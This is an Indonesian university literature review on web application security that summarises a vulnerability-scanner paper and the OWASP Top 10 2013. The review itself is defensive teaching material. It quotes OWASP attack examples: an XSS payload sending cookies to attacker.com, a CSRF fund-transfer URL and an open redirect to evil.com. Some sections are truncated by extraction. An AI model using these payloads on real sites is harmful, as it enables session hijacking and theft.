LITERATURE REVIEW Dilakukan untuk Melakukan Penelitian dengan Topik :

Analisa Keamanan Aplikasi Web Berdasarkan OWASP

Mata Kuliah : Layanan dan Aplikasi Web Dosen Pengajar : Bayu Distiawan Trisedya, S. Kom, M. Kom

DISUSUN OLEH :

KELOMPOK 1

AHMAD FARISI 1406595930 SISKA DEVELLA 1406661264

MAGISTER ILMU KOMPUTER

UNIVERSITAS INDONESIA Semester Genap Tahun Akademik 2014/2015

1 | P a g e

LITERATUR 1

2 | P a g e

1 DETIL LITERATUR

Judul : Pencari Celah Keamanan pada Aplikasi Web

Penulis : 1. Muhammad Chandrika Kesuma

2. Ary Mazharuddin Shiddiqi

3. Baskoro Adi Pratomo

Tahun Terbut : 2012

Jurnal : Paper and Presentation of Informatic Engineering, RSIf 005.8 Kes p, 2013

Abstrak :

Kejahatan di dunia teknologi dan informasi terutama pada aplikasi web semakin marak

terjadi.Salah satu faktor yang menyebabkan kurangnya tingkat keamanan pada aplikasi web adalah

kesalahan penulisan kode program. Kesalahan penulisan kode program dalam pembuatan aplikasi web

adalah hal yang sering dimanfaatkan oleh para penyerang, hal ini mengakibatkan rata-rata aplikasi

web bisa diserang dengan memanfaatkan kesalahan ini. Kelemahan-kelemahan yang sering

dimanfaatkan oleh para penyerang diantaranya adalah kelemahan terhadap SQL Injection, XSS, Remote

File Inclusion, dan Username Enumeration.

Salah satu cara untuk mendeteksi adanya kelemahan-kelemahan pada aplikasi web adalah dengan

menggunakan aplikasi pencari celah keamanan.Aplikasi pencari celah keamanan ini dimaksudkan untuk

mendeteksi secara otomatis apakah suatu aplikasi web memiliki kerentanan terhadap suatu serangan.

Aplikasi ini akan mencari celah keamanan suatu situs web terhadap 4 metode serangan, yaitu :SQL

Injection, XSS (Cross-site Scripting), RFI (Remote File Inclusion), dan Username Enumeration.

Dari hasil uji coba,aplikasi ini bisa memberikan informasi tentang dimana letak celah keamanan

yang terdapat pada suatu aplikasi web terhadap metode-metode serangan yang diujikan.Serangan SQL

Injection, XSS, dan RFI dapat dihindari dengan cara melakukan sanitasi terhadap masukan dari

pengguna.

Kata Kunci : RFI, SQL Injection, Username Enumeration, XSS

2 PEMBAHASAN LITERATUR

2.1. Mengapa Penelitian Dilakukan?

Penelitian tentang Pencari Celah Keamanan pada Aplikasi Web ini dilakukan dengan melihat

fenomena banyaknya kejahatan yang terjadi di dunia teknologi informasi. Peneliti melihat sudut pandang

keamanan tersebut dari sisi aplikasi web, bukan dari sudut pandang infrastruktur jaringan yang ada di

belakang aplikasi web.

3 | P a g e

Penelitian ini menyoroti akibat yang ditimbulkan oleh kesalahan penulisan kode program.

Kesalahan tersebut yang sering dimanfaatkan oleh para penyerang. Kelemahan-kelemahan penulisan

kode program yang sering dimanfaatkan oleh para penyerang dalam menyerang aplikasi web di antaranya

adalah SQL Injection dan Cross Site Scripting (XSS). Hal tersebut dapat ditunjukkan pada diagram

berikut ini.

Gambar 1. 1. Diagram serangan pada aplikasi web

Dari gambar diagram yang dirilis oleh webappsec.org (2011) di atas, dapat dilihat bahwa

serangan pada aplikasi web melalui SQL Injection mencapai 20% dan XSS mencapai 9,9%, sementara

persentase tertinggi 22,5% belum diketahui. Hal ini sesuai dengan dokumen yang dirilis oleh OWASP

(Open Web Application Security Project) tentang 10 celah teratas pengancam website. Dua di antaranya

adalah SQL Injection dan XSS.

Selain dari SQL Injection dan XSS, peneliti juga menyoroti metode lain yang sering digunakan

untuk menyerang aplikasi web. Metode-metode tersebut adalah Username Enumeration dan Remote File

Inclusion (RFI).

Berangkat dari permasalahan di atas peneliti membuat aplikasi yang digunakan untuk melihat

ketahanan aplikasi web terhadap SQL Injection, XSS, Username Enumeration, dan RFI. Atau dengan

kata lain peneliti membuat aplikasi untuk mencari celah (mendeteksi) keamanan yang mungkin terdapat

pada aplikasi web. Adapun aplikasi yang dibuat oleh peneliti adalah aplikasi desktop yang dibangun

dengan bahasa pemrograman java.

4 | P a g e

2.2. Bagaimana Cara Melakukannya?

Secara umum, cara kerja aplikasi yang dibangun oleh peneliti adalah sebagai berikut.

1. Aplikasi melakukan request berupa URL ke server.

2. Server memberikan respon berupa HTML.

3. Aplikasi melakukan proses scan terhadap respon HTML dan menginjeksikan script injeksi.

4. Server memberikan respon berupa HTML.

5. Aplikasi melakukan proses scan terhadap respon HTML untuk memeriksa hasil proses injeksi.

6. Aplikasi memberikan laporan hasil proses scan.

Aplikasi yang dibangun oleh peneliti memberikan keluaran status kerentanan dari aplikasi web.

Status tersebut adalah rentan (vulnerable) atau tidak rentan (not vulnerable). Flow chart dari cara kerja

aplikasi adalah sebagai berikut.

STARTAplikasi melakukan

request berupa URL

Server memberikan

respon berupa HTML

Melakukan proses

scanning terhadap respon

HTML

Menginjeksikan Script

Penyerangan

Scanning respon HTML

setelah proses injeksi

Apakah Injeksi

Berhasil

Vulnerable Tidak Vulnerable

TIDAK

YA

END

Gambar 1. 2. Flow Chart aplikasi

5 | P a g e

2.3. Bagaimana Hasil Penelitiannya?

Peneliti melakukan pengujian terhadap serangan SQL Injection, XSS, Username Enumeration,

dan RFI. Adapun parameter keberhasilan pengujian yang dilakukan oleh peneliti dikatakan valid ketika

hasil pengujian aplikasi yang diuji coba secara manual memberikan hasil yang sama dengan keluran

aplikasi.

Adapun pengujian-pengujian yang dilakukan oleh peneliti adalah sebagai berikut.

Tabel 1. 1. Hasil Pengujian Aplikasi

No URL Serangan Uji Coba

Aplikasi

Uji Coba

Manual Kesimpulan

1 its.ac.id/personal/p

ublikasi.php?idJur

nal=.....

XSS Vulnerable Berhasil

terinjeksi

Valid

2 localhost/webTA SQL Injection Vulnerable Berhasil

terinjeksi

Valid

3 localhost/cake/inde

x.php

RFI Vulnerable Berhasil

terinjeksi

Valid

4 localhost/webTA Username

Enumeration

Vulnerable Berhasil

terinjeksi

Valid

Hasil uji coba aplikasi di atas menunjukkan bahwa semua URL berstatus vulnerable atau dengan

kata lain, semua URL rentan terhadap serangan XSS, SQL Injection, RFI, dan Username Enumeration.

3 KESIMPULAN

Hasil penelitian ini menunjukkan pentingnya keamanan dalam aplikasi web. Hasil penelitian juga

menunjukkan semua URL yang diuji coba menunjukkan status vulnerable yang berarti rentan terhadap

serangan-serangan seperti XSS, SQL Injection, RFI, dan Username Enumeration.

Penelitian ini dapat dilanjutkan dengan menguji tingkat kerentanan terhadap serangan-serangan

yang lain selain dari XSS, SQL Injection, RFI, dan Username Enumeration. Parameter serangan-serangan

tersebut dapat dilihat juga dari Web Database Insident Hacking (WHID) yang menunjukkan metode-

metode serangan yang lebih banyak dan dapat diteliti lebih lanjut. Adapun data-data WHID tahun 2011

tersebut adalah sebagai berikut.

6 | P a g e

Gambar 1. 3. Serangan aplikasi web versi WHID tahun 2011

Pada akhir literatur review ini, kami menemukan sedikit kelemahan pada penelitian ini. Adapun

kelemahan tersebut menurut kami terletak pada URL yang diuji coba oleh peneliti dalam menguji

kerentanan serangan-serangan XSS, SQL Injection, RFI, dan Username Enumeration. Peneliti

menggunakan tiga URL pada server local untuk menguji kerentanan tersebut. Seharusnya peneliti lebih

banyak menambahkan URL-URL lain yang bukan URL dari server local. Misalnya, menguji URL-URL

aplikasi web dari website-website e-Banking, e-Commerce, atau yang lainnya. Dari sana, peneliti dapat

melihat persentase status kerentanan URL-URL tersebut terhadap serangan-serangan XSS, SQL Injection,

RFI, dan Username Enumeration per kategori website.

4 REFERENSI

Kesuma, M. C., Shiddiqi, A. M., & Pratomo, B. A. (2012). Pencari Celah Keamanan pada Aplikasi

Web. Paper and Presentation of Informatic Engineering, RSIf 005.8 Kes P, 2013, 16. Retrieved from http://digilib.its.ac.id/public/ITS-paper-25617-5108100006-Paper.pdf

Wichers, D., Williams, J., & Stock, A. Van Der. (2013). OWASP Top 10 - 2013 rc1, 123. Retrieved from http://owasptop10.googlecode.com/files/OWASP Top 10 - 2013 - RC1.pdf

7 | P a g e

LITERATUR 2

8 | P a g e

1 DETIL LITERATUR

Judul : OWASP Top 10 - 2013 rc1 The Ten Most Critical Web Application Security Risk

Penulis : 1. Dave Wichers

2. Jeff Williams

3. Andrew Van Der Stock

Tahun Terbut : 2013

Buku : Copyright 2003 2013 The OWASP Foundation

Abstrak :

The OWASP Top 10 is based on risk data from 8 firms that specialize in application security,

including 4 consulting companies and 4 tool vendors (2 static and 2 dynamic). This data spans over

500,000 vulnerabilities across hundreds of organizations and thousands of applications. The Top 10

items are selected and prioritized according to this prevalence data, in combination with consensus

estimates of exploitability, detectability, and impact estimates. The primary aim of the OWASP Top 10

is to educate developers, designers, architects, managers, and organizations about the consequences of

the most important web application security weaknesses. The Top 10 provides basic techniques to protect

against these high risk problem areas and also provides guidance on where to go from here.

2 PEMBAHASAN LITERATUR

Menurut OWASP (Open Web Application Security Project) terdapat sepuluh jenis serangan

keamanan pada aplikasi web yang sering terjadi. OWASP sendiri adalah sebuah komunitas non profit

yang bertujuan dalam mengembangkan metodologi, program, dokumentasi yang berhubungan dengan

keamanan pada aplikasi web. Berikut sepuluh jenis serangan keamanan pada web aplikasi yang dirilis

pada tahun 2013.

Tabel 2. 1. Jenis Serangan Keamanan

A1 Injection

A2 Broken Autentification and Session Management

A3 Cross-Site Scipting (XSS)

A4 Insecure Direct Object References

A5 Security Misconfiguration

9 | P a g e

A6 Sensitive Data Exposure

A7 Missing Fuction Level Access Control

A8 Control-Site Request Forgery (CSRF)

A9 Using Known Vulnerable Components

A10 Unvalidated Redirects and Forwards

2.1. Resiko Keamanan Aplikasi

Penyerang berpotensi mengunakan berbagai cara melalui aplikasi untuk membahayakan bisnis

atau suatu organisasi. Masing-masing jalur tersebut adalah resiko yang mungkin atau tidak mungkin, dan

cukup serius untuk memperoleh perhatian.

Gambar 2. 1. Alur serangan pada aplikasi

2. 2. OWASP Risk Rating Methodology

a. Step 1: Mengidentifikasi Risiko

Langkah pertama adalah mengidentifikasi resiko keamanan yang perlu dinilai. Tester perlu

mengumpulkan informasi tentang ancaman yang terlibat, serangan yang akan digunakan, kerentanan

yang terlibat, dan dampak yang berhasil dalam mengeksploitasi bisnis.

b. Step 2: Faktor Memperkirakan Kemungkinan

Setelah tester mengidentifikasi resiko dan mencari tau seberapa serius resiko tersebut, langkah kedua

adalah memperkirakan kemungkinan. Ada sejumlah faktor yang dapat membantu menentukan

kemunkinan tersebut. Salah satunya adalah faktor yang berhubungan dengan ancaman yang terlibat,

hal ini bertujuan untuk memperkirakan kemungkinan serangan dari sekelompok penyerang.

10 | P a g e

c. Step 3: Faktor Perkiraan Dampak

Ketika mempertimbangkan dampak dari keberhasilan sebuah serangan, penting untuk menyadari

bahwa ada dua macam dampak yaitu "dampak teknis" pada aplikasi, data dan fungsi-fungsi yang

disediakan, serta "dampak bisnis" pada bisnis atau organisasi yang mengoperasikan aplikasi.

d. Step 4: Menentukan Beratnya Resiko

Dalam langkah ini perkiraan kemungkinan dan perkiraan dampak yang disatukan untuk menghitung

keseluruhan beratnya untuk risiko ini.

e. Step 5: Memutuskan untuk memperbaiki

Setelah risiko terhadap aplikasi telah diklasifikasikan akan ada daftar prioritas apa yang harus

diperbaiki. Sebagai aturan umum, risiko yang paling parah harus diperbaiki terlebih dahulu.

f. Step 6: Menyesuaikan Risk Rating Model

Memiliki kerangka risk rating yang disesuaikan untuk bisnis adalah penting untuk diterapkan.

2. 3. Injection

Gambar 2. 2. A1 - Injection

Pada diagram di atas yang dimaksud orang melakukan serangan injection adalah setiap orang

yang mengirimkan data yang tidak benar ke server melalui web application sebagai bagian dari perintah

atau permintaan. Data tersebut dapat berupa data yang sederhana atau data yang rumit.

11 | P a g e

2. 4. Broken Autentification and Session Management

Gambar 2. 3. A2 - Broken Autentification and Session Management

Fungsi aplikasi yang berhubungan dengan otentikasi dan manajemen sesi sering tidak diterapkan

dengan benar, memungkinkan penyerang untuk membahayakan atau mengambil password, key, atau

token sesi, atau mengeksploitasi kelemahan pelaksanaan lainnya untuk mendapatkan identitas pengguna.

Apakah Aset manajemen sesi seperti kredensial pengguna dan Sesi ID benar dilindungi?

Mungkin terjadi kerentanan jika :

1. Pengguna autentifikasi tidak dilindungi saat disimpan menggunakan hashing atau enkripsi.

2. Kredensial bisa ditebak atau diganti melalui kelemahan dari fungsi manajemen account (misalnya,

pembuatan akun, mengubah password, memulihkan password, session ID yang lemah).

3. Sesi ID yang terexpose di URL (misalnya, penulisan ulang URL).

4. ID Sesi rentan terhadap serangan session fixation.

5. Sesi ID tidak timeout, atau sesi pengguna atau token otentikasi, terutama single sign-on (SSO) token,

tidak benar melakukan validasi saat logout.

6. ID sesi tidak dirotasikan setelah berhasil login

7. Sandi, session ID, dan kredensial lainnya dikirim melalui koneksi terenkripsi.

Contoh Skenario serangan :

Skenario # 1: pemesanan Airline aplikasi mendukung penulisan ulang URL, menempatkan ID sesi

dalam URL: http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest

=Hawaii

12 | P a g e

Pengguna mengkonfirmasi situs agar membiarkan orang lain mengetahuinya. Target

mengirimkan e-mail link di atas tanpa tahu bahwa telah memberikan ID sesi nya. Orang lain

menggunakan link tersebut, makan orang lain tersebut juga menggunakan ID sesi dan kartu kreditnya.

Skenario # 2: timeout Aplikasi tidak diatur dengan benar. Pengguna menggunakan komputer umum ke

situs akses. Alih-alih memilih "logout" pengguna hanya menutup tab browser dan meninggalkannya.

Penyerang menggunakan browser yang sama satu jam kemudian, dan browser masih dikonfirmasi.

Skenario # 3: Eksternal penyerang memperoleh akses ke sistem database password. Password pengguna

tidak di-hash dengan benar, sehingga memperlihatkan password setiap pengguna ke penyerang.

2. 5. Cross-Site Scipting (XSS)

Gambar 2. 4. A3 - Cross-Site Scipting (XSS)

XSS memungkinkan penyerang untuk mengeksekusi skrip pada browser target yang dapat

membajak sesi target, merusak situs web, atau mengarahkan target ke situs berbahaya.

Contoh skenario penyerangan :

Aplikasi ini menggunakan data yang tidak dipercaya dalam pembangunan berikut potongan

HTML tanpa validasi.

(String) page += "

13 | P a g e

Penyerang memodifikasi 'CC' parameter dalam browser-nya ke:

'>document.location='http://www.attacker.com/cgibin/cookie.cgi?foo='+document.cooki

e'

Penyerang menyebabkan sesi ID target untuk dikirim ke situs penyerang, yang memungkinkan

penyerang untuk membajak sesi target.

2. 6. Insecure Direct Object References

Gambar 2. 5. A4 - Insecure Direct Object References

Suatu celah yang terjadi saat pembuat aplikasi web mengekspos referensi internal penggunaan

objek, seperti file, direktori, database record. Tanpa pemeriksaan kontrol akses atau perlindungan lainnya,

penyerang dapat memanipulasi referensi ini untuk mengakses data yang tidak sah. Semua framework

aplikasi web rentan terhadap Insecure Direct Object References.

Misalnya, dalam aplikasi Internet Banking, biasanya menggunakan nomor rekening sebagai

keyword. Oleh karena itu, sangat menarik untuk menggunakan nomor rekening langsung di interface web.

Bahkan jika pengembang telah menggunakan parameter query SQL untuk mencegah SQL injection, jika

tidak ada pemeriksaan tambahan bahwa pengguna adalah pemegang rekening dan berwenang untuk

melihat account, penyerang dapat melihat atau mengubah semua account.

Contoh skenario penyerang :

Aplikasi ini menggunakan data yang belum diverifikasi dalam panggilan SQL yang mengakses

informasi account:

14 | P a g e

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt =

connection.prepareStatement(query , );

pstmt.setString( 1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

Penyerang hanya memodifikasi 'acct' parameter pada browsernya untuk mengirim account

number apa pun yang dia inginkan. kalau tidak diverifikasi dengan benar, penyerang dapat mengakses

akun setiap target.

2. 7. Security Misconfiguration

Gambar 2. 6. A5 - Security Misconfiguration

Keamanan yang baik membutuhkan konfigurasi yang aman dan digunakan untuk aplikasi,

kerangka, server aplikasi, server web, database server, dan platform. Pengaturan keamanan harus

didefinisikan, diimplementasikan, dan dipelihara. Selain itu software harus selalu up to date.

Contoh skenario penyerang :

Skenario # 1: The app server admin console secara otomatis diinstal dan tidak dihapus. Account default

tidak berubah. Penyerang menemukan halaman admin standar berada di server Anda, log in dengan

password default, dan mengambil alih.

15 | P a g e

Skenario # 2: daftar direktori tidak dinonaktifkan pada server Anda. Penyerang menemukan daftar

tersebut untuk menemukan file apapun. Penyerang menemukan dan mendownload semua kompilasi

kelas Java Anda. Kemudian menemukan kontrol akses cacat serius dalam aplikasi Anda.

Skenario # 3: App konfigurasi server memungkinkan jejak stack dikembalikan ke pengguna, yang

berpotensi mengekspos kelemahan. Penyerang menyukai information error messages yang disediakan.

Skenario # 4: App server dilengkapi dengan sample applications yang tidak dihapus dari server produksi

Anda. Sample applications telah dikenal baik akan kelemahan keamanan, penyerang dapat

menggunakannya untuk membahayakan server Anda.

2. 8. Sensitive Data Exposure

Gambar 2. 7. A6 - Sensitive Data Exposure

Banyak aplikasi web tidak benar dalam melindungi data sensitif, seperti kartu kredit, ID pajak,

dan autentifikasi. Penyerang dapat mencuri atau memodifikasi data yang lemah perlindungannya tersebut

untuk melakukan penipuan kartu kredit, pencurian identitas, atau kejahatan lainnya. Data sensitif layak

mendapatkan perlindungan ekstra seperti enkripsi saat rest atau dalam transit, serta tindakan pencegahan

khusus bila pertukaran browser.

Contoh skenario penyerang :

Skenario # 1: Sebuah aplikasi mengenkripsi nomor kartu kredit dalam database menggunakan enkripsi

database otomatis. Namun, ini berarti juga mendekripsi data tersebut secara otomatis ketika diambil,

16 | P a g e

memungkinkan terjadinya kecacatan dalam injeksi SQL untuk mengambil nomor kartu kredit dalam

bentuk teks. Sistem harus mengekripsi nomor kartu kredit menggunakan kunci publik, dan hanya

diperbolehkan aplikasi back-end untuk mendekripsi mereka dengan kunci pribadi.

Skenario # 2: Situs sederhana tidak menggunakan SSL untuk semua halaman autentifikasi. Penyerang

hanya memonitor lalu lintas jaringan (seperti jaringan nirkabel), dan mencuri sesi cookie pengguna.

Penyerang kemudian replay cookie ini dan membajak sesi pengguna, mengakses data pribadi pengguna.

Skenario # 3: Database password menggunakan hash untuk menyimpan password semua orang. Sebuah

cacat dalam upload file memungkinkan penyerang untuk mengambil file password. Semua unsalted hash

dapat terekspos dengan rainbow table hash precalculated.

2. 9. Missing Fuction Level Access Control

Gambar 2. 8. A7 - Missing Fuction Level Access Control

Sebagian besar aplikasi web memverifikasi function level access sebelum membuat fungsi terlihat

di UI. Namun, aplikasi perlu melakukan pemeriksaan kontrol akses yang sama pada server ketika

masing-masing fungsi diakses. Jika permintaan tidak diverifikasi, penyerang akan dapat menempa

permintaan untuk mengakses fungsi tanpa otorisasi yang tepat. Semua framework aplikasi web rentan

terhadap kegagalan untuk membatasi akses URL.

17 | P a g e

Skenario # 1: Penyerang menelusuri untuk menargetkan URL. URL berikut memerlukan otentikasi. Hak

admin juga diperlukan untuk mengakses halaman "admin_getappInfo".

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

Jika pengguna tidak berkepentingan dapat mengakses salah satu halaman tersebut, itu sebuah kecacatan.

Jika dikonfirmasi, non-admin, user diijinkan untuk mengakses halaman "admin_getappInfo", ini juga

sebuah kecacatan.

Skenario # 2: Sebuah halaman memberikan 'action' parameter untuk menentukan fungsi yang dipanggil,

dan tindakan yang berbeda membutuhkan peran yang berbeda. Jika peran ini tidak ditegakkan, itu sebuah

kecacatan.

2.10. Control-Site Request Forgery (CSRF)

Gambar 2. 9. A8 - Control-Site Request Forgery (CSRF)

Sebuah serangan CSRF memaksa browser target log-on untuk mengirimkan permintaan HTTP

palsu, termasuk sesi cookie target dan informasi otentikasi otomatis, untuk aplikasi web yang rentan atau

memiliki celah. Hal ini memaksa browser target untuk melakukan sesuatu yang menguntungkan

penyerang.

18 | P a g e

Aplikasi ini memungkinkan pengguna untuk mengirimkan permintaan mengubah state / kondisi. Sebagai

contoh:

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

Jadi, penyerang membangun permintaan yang akan mentransfer uang dari rekening target ke rekening

penyerang, dan kemudian melekatkan serangan ini dalam permintaan gambar atau iframe yang tersimpan

di berbagai situs di bawah kendali penyerang:

19 | P a g e

2.12. Unvalidated Redirects and Forwards

Gambar 2. 11. A10 - Unvalidated Redirects and Forwards

Aplikasi web sering mengarahkan dan meneruskan pengguna ke halaman lain atau website lain,

dan menggunakan data yang tidak dipercaya untuk menentukan halaman tujuan. Tanpa validasi yang

tepat, penyerang dapat mengarahkan target ke situs phishing atau malware, atau menggunakan forward

untuk mengakses halaman yang tidak sah.

Contoh skenario penyerang :

Skenario # 1: Aplikasi ini memiliki halaman yang disebut "redirect.jsp" yang mengambil parameter

tunggal bernama "url". Penyerang memberikan URL berbahaya yang mengarahkan pengguna ke situs

berbahaya yang melakukan phishing dan menginstal malware.

http://www.example.com/redirect.jsp?url=evil.com

Skenario # 2: Aplikasi menggunakan forward untuk permintaan rute antara bagian yang berbeda dari

situs. Untuk memfasilitasi ini, beberapa halaman menggunakan parameter untuk menunjukkan di mana

pengguna harus dikirim jika transaksi berhasil. Dalam hal ini, penyerang memberikan URL yang akan

melewati kontrol akses cek aplikasi dan kemudian meneruskan penyerang untuk mengambil fungsi

administrasi dimana penyerang tidak memiliki wewenang.

http://www.example.com/boring.jsp?fwd=admin.jsp